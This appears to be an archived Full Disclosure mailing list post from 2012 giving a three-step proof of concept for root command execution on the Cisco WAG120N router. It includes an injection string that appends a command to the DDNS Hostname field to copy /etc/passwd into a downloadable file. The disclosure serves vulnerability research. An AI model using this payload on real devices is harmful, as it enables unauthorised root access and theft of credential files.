Home page logo

fulldisclosure logo Full Disclosure mailing list archives

Remote Command Execution on Cisco WAG120N
From: Manu <sourvivor () gmail com>
Date: Thu, 22 Nov 2012 12:23:17 +0100

Hello, here you have a quick POC in three simple steps

# Remote Command Execution on Cisco WAG120N.
# (Not tested in other routers)
# Manuel Fernández Fernández (thesur () itsm3 com)
# Greetings to 2x1 crew (Alberto, Dani, Luis, Juanmi, Juanito & oca)

1º Authenticate and browse to /setup.cgi?next_file=Setup_DDNS.htm
2º All the fields you see are vulnerables to command execution as root, so
inject "qwe.com;cat /etc/passwd> /www/Routercfg.cfg;" into the Hostname
3º Everything is done, just download the file /Routercfg.cfg (Authenticated
is requiered)


Manuel Fernández
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]